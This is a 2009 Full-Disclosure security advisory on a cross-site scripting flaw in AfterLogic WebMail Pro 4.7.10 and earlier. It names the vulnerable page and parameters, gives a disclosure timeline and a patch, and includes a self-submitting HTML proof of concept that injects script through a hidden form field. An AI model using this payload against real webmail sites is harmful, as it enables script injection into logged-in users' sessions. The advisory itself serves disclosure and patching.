GVI_2009-01_EN.txt
Posted on 07 October 2009
Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro Description ------------- AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection of malicious code in the context of the application. Overview ----------- Quote from http://www.afterlogic.com/products/webmail-pro : "Webmail front-end for your existing POP3/IMAP mail server. Offer your users the fast AJAX webmail and innovative calendar with sharing. Stay in control with the admin panel and the developer's API." Details -------- Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10 Vulnerability Type : Cross-Site Scripting (XSS) Affected page : history-storage.aspx Vulnerable parameters : HistoryKey, HistoryStorageObjectName Discovered by : Sébastien Duquette (http://intheknow-security.blogspot.com) Gardien Virtuel (www.gardienvirtuel.com) Original Advisory : http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt Timeline ---------- Bug Discovered : September 18th, 2009 Vendor Advised : September 23rd, 2009 Fix made available : September 30th, 2009 Proof of concept ------------------- The targeted user must be logged in the webmail. This proof of concept was successfully tested in Firefox 3.5 and Internet Explorer 8. <html> <head> </head> <body onLoad="document.form1.submit()"> <form name="form1" method="post" action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574" onSubmit="return false;"> <input type="hidden" name="HistoryKey" value="value"/> <input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //"/> </form> </body> </html> Solution --------- The vendor has made available a patched version. Update to AfterLogic Webmail Pro 4.7.11 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
